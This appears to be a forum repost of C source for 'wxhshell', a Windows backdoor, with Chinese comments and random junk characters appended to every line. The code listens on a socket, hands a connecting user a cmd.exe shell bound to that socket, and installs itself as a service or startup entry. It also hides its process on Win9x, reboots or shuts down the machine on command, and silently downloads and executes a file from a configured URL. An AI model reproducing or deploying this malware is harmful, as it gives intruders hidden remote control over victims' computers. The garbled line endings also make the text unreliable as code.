      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); + hn+K1  
    break; @b"t]#V(E  
  } xB_!>SqF1U  
  // 安装 }MRd@ 0-?!  
  case 'i': { MHSs!^/g5  
    if(Install()) tYZ[6 8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }Mo=PWI1?  
    else _Xnqb+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Is]aj-#r  
    break; ]GN7+ 8l  
    } sW)Zi  
  // 卸载 ld3-C55  
  case 'r': { -M%_\;"de  
    if(Uninstall()) HHiT]S9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nndddk`  
    else j*F`"df  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~7Ts_:E-  
    break; ^[]}R:  
    } #Xhdn\7  
  // 显示 wxhshell 所在路径 P/xKnm~  
  case 'p': { R16'?,  
    char svExeFile[MAX_PATH]; XpmS{nb  
    strcpy(svExeFile,"\n\r"); !lEY=1nHOJ  
      strcat(svExeFile,ExeFile); >wb 'QzF:  
        send(wsh,svExeFile,strlen(svExeFile),0); SGh1 DB  
    break; n3}!p'-CC  
    } Of{/t1o?  
  // 重启 KC(xb5x Y  
  case 'b': { NLS%Sq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /3e KN  
    if(Boot(REBOOT)) m_=$0m J$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^dP KDrKxh  
    else { *:>"q ej  
    closesocket(wsh); mocI&=EF2X  
    ExitThread(0); D@.tkzU@E  
    } 7h6,c/<  
    break; VUVaaOmO  
    } Ynp{u`?  
  // 关机 ,oaw0Vw  
  case 'd': { z74in8]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {z(xFrY  
    if(Boot(SHUTDOWN)) .uyGYj-C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZQ)>s>-  
    else { Yu?95qktP  
    closesocket(wsh); <,3^|$c%  
    ExitThread(0); %6L^2 X  
    } b8LoIY*  
    break; s:p[DEj-  
    } /rq VB|M  
  // 获取shell WA]c=4S  
  case 's': { "`M?R;DH  
    CmdShell(wsh); j'%$XvI  
    closesocket(wsh); z |a sa*  
    ExitThread(0); 8'<-:KG  
    break; Eq$&qV-?(  
  } w4W_iaU  
  // 退出 v z^<YZMu  
  case 'x': { q-]`CW]n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *H?!;u=8  
    CloseIt(wsh); ,Y|^^?'j Q  
    break; bx]N>k J  
    } IX*idcxR  
  // 离开 XK|R8rhg8`  
  case 'q': { si&S%4(  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); f 1w~!O9  
    closesocket(wsh);  emK$`9  
    WSACleanup(); Kl2lbe7  
    exit(1); 356>QW'm  
    break; Cl ^\OZN\=  
        } 0{dz5gUde  
  } Lb;zBmwB  
  } N@O8\oQG  
p"l3e9&'j  
  // 提示信息 3l3+A+ n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %=?cZfFqO  
} pY_s*0_  
  } _Qh z3'I1  
DA2}{  
  return; UilMv~0  
} R,9[hNHWGs  
Row)hx8  
// shell模块句柄 S+'rG+NJ  
int CmdShell(SOCKET sock) SfJ./ny  
{ }?z@rt^  
STARTUPINFO si; r*$Ner  
ZeroMemory(&si,sizeof(si)); n) k1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ({JHZ6uZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TjQvAkT  
PROCESS_INFORMATION ProcessInfo; C8 vOE`U,J  
char cmdline[]="cmd"; 4'-|UPhx  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OE4+GI.r-  
  return 0; UW9?p}F  
} 3}@_hS"^8  
iCW*]U  
// 自身启动模式 d?:=PH  
int StartFromService(void) a@\D$#2r  
{ Pu"R,a  
typedef struct EhO|~A*R  
{ E<C&Cjz:H  
  DWORD ExitStatus; U Z|HJ8_  
  DWORD PebBaseAddress; dbOdq  
  DWORD AffinityMask; hQ(qbt{e  
  DWORD BasePriority; SB5&A_tr  
  ULONG UniqueProcessId; 3t<a $i  
  ULONG InheritedFromUniqueProcessId; Y`o+XimX  
}   PROCESS_BASIC_INFORMATION; Qb)C[5a}  
HsnLm67'  
PROCNTQSIP NtQueryInformationProcess; W?eu!wL#p  
}~"hC3w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x_c7R;C  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %I-+Ead0i  
F B?UZ  
  HANDLE             hProcess; ;Ra+=z}>  
  PROCESS_BASIC_INFORMATION pbi; _R.B[\r@  
$<^u^q37u  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "Kc>dJ@W  
  if(NULL == hInst ) return 0; ]S(%[|  
`)T~psT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); es>W$QKlo  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yv\#8I:qh  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); W -  
Mz1G5xcl  
  if (!NtQueryInformationProcess) return 0; ?V}j`r8|\4  
_UT$,0u_i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^2$ lJ  
  if(!hProcess) return 0; ^=:9)CNw(  
-jn WZ5.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; x5QaM.+=J  
'0\@McU]  
  CloseHandle(hProcess); t=u  Qb=  
?gPKcjgoH!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q}!mx7b0]  
if(hProcess==NULL) return 0; ^)?d6nI  
#7ov#_2Jd  
HMODULE hMod; 63.wL0~  
char procName[255]; c\ia6[3sX  
unsigned long cbNeeded; B9T!j]'  
Rb%%?*|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hew d4k  
RPIyO  
  CloseHandle(hProcess); ,SQZD,3v4  
YKbaf(K )9  
if(strstr(procName,"services")) return 1; // 以服务启动 P%#*-zCCx  
'Fs)Rx}\0  
  return 0; // 注册表启动 KAsS [  
} *1 G>YH  
u$D*tqxG  
// 主模块 m85WA # `  
int StartWxhshell(LPSTR lpCmdLine) ?x+Z)`w_  
{ f8SL3+v  
  SOCKET wsl; Dk+&X-]6x5  
BOOL val=TRUE; u5~Ns&o&N  
  int port=0; xS7$%w['  
  struct sockaddr_in door; h.!}3\Y  
Gcb|W&  
  if(wscfg.ws_autoins) Install(); H*bs31i{  
ALEnI@0  
port=atoi(lpCmdLine); ?d4m!HgR   
 )@ ~J  
if(port<=0) port=wscfg.ws_port; R-Z~V  
e#,~,W.H  
  WSADATA data; TLd`1Ac  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; [kqYfY?K  
C-8qj>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?-tVSRKQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?KITC;\\  
  door.sin_family = AF_INET; 4*aZ>R2hO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4J?t_)  
  door.sin_port = htons(port); Y3h/~bM%  
]c&<zeX,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4GR!y)  
closesocket(wsl); {8R"O{  
return 1; McoK@q ;  
} <BSc* 9Q  
P_c,BlfGMH  
  if(listen(wsl,2) == INVALID_SOCKET) { oW^*l#v  
closesocket(wsl); gORJWQv  
return 1; \`ZW* EtPI  
} *=fr8  
  Wxhshell(wsl); 2DB7+aZ*  
  WSACleanup(); :5/Uh/sX  
2o#,kGd  
return 0; >6oOZbUY0  
|A%<Z(  
} :QWq"cBem  
 J*l4|^i<  
// 以NT服务方式启动 JT9N!CGZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?88`fJ@tk?  
{ * ,v|y6  
DWORD   status = 0; U:MPgtwe  
  DWORD   specificError = 0xfffffff; G60R9y47c  
or k=`};  
  serviceStatus.dwServiceType     = SERVICE_WIN32; AW#<i_Ybf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Z4){ 7|~a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; x!_<z''  
  serviceStatus.dwWin32ExitCode     = 0; 4lqH8l.  
  serviceStatus.dwServiceSpecificExitCode = 0;  6l$L~>  
  serviceStatus.dwCheckPoint       = 0; lCF `*DM#  
  serviceStatus.dwWaitHint       = 0; `xiCm':  
\m=?xb8 f  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z_gC&7+  
  if (hServiceStatusHandle==0) return; ( Y+N@d  
(~$/$%b  
status = GetLastError(); R.LL#u};  
  if (status!=NO_ERROR) m%"uPv\  
{ pq:7F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <xJ/y|{  
    serviceStatus.dwCheckPoint       = 0; #q3l!3\mW  
    serviceStatus.dwWaitHint       = 0; kz"3ZDR  
    serviceStatus.dwWin32ExitCode     = status; Y%|@R3[Nk  
    serviceStatus.dwServiceSpecificExitCode = specificError; eUl/o1~mXa  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l{VSb92f  
    return; W5/0`[4  
  } (_r EAEo  
kAM1TWbaVQ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <`!PCuR  
  serviceStatus.dwCheckPoint       = 0; Qm8) 4?FZ  
  serviceStatus.dwWaitHint       = 0; `VQb-V  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |0{u->+ )  
} O)kg B rB  
!;6Jng%  
// 处理NT服务事件,比如:启动、停止 "xAWG$b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :K?0e `  
{ Z?J:$of*  
switch(fdwControl) y fSM  
{ WZ!WxX>zO  
case SERVICE_CONTROL_STOP: - O"i3>C  
  serviceStatus.dwWin32ExitCode = 0; ]O{u tm  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; "+?Cz !i   
  serviceStatus.dwCheckPoint   = 0; fWF |,A>>b  
  serviceStatus.dwWaitHint     = 0; ^). )  
  { D;Gq)]O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OzT#1T1'c  
  } Dml*T(WM>  
  return; XJ!(F#zc  
case SERVICE_CONTROL_PAUSE: o{*ay$vA]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 0)9"M.AIvo  
  break; CK_(b"  
case SERVICE_CONTROL_CONTINUE: * n(> ^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; pium$4l2#  
  break; y[O-pD`  
case SERVICE_CONTROL_INTERROGATE: +pH@oFNK  
  break; \Hqc 9&0  
}; n:U>Fj>q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0Q593F  
} DWt*jX*  
7&O`p(j  
// 标准应用程序主函数 )4xu^=N&as  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %~j2 ('Y  
{ .[DthEF  
vRA',(](  
// 获取操作系统版本 zH=!*[d8  
OsIsNt=GetOsVer(); qQ7w&9r.M  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 69kJC/1+l  
w:o-klKXY  
  // 从命令行安装 iRG?# "  
  if(strpbrk(lpCmdLine,"iI")) Install(); bg?"ILpk  
I\\QS.2  
  // 下载执行文件 FVF-:C  
if(wscfg.ws_downexe) { 8*g ^o\M  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v&g0ta@  
  WinExec(wscfg.ws_filenam,SW_HIDE); -~)OF  
} +Ra3bjl  
L;W.pe0  
if(!OsIsNt) { ql5x2n  
// 如果时win9x,隐藏进程并且设置为注册表启动 OMihXt[  
HideProc(); U},=LsDsW4  
StartWxhshell(lpCmdLine); I~'*$l  
} ZX b}91rzt  
else -Uo?WXP]B'  
  if(StartFromService()) o@lWBfB*%e  
  // 以服务方式启动 1u]P4Gf=  
  StartServiceCtrlDispatcher(DispatchTable); ,]Zp+>{  
else }8'&r(cN4  
  // 普通方式启动 |0bc$ZY:  
  StartWxhshell(lpCmdLine); 2aw&F Z?  
}tST)=M`  
return 0; =QV ::/  
}
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只看该作者 1 发表于: 2006-10-10
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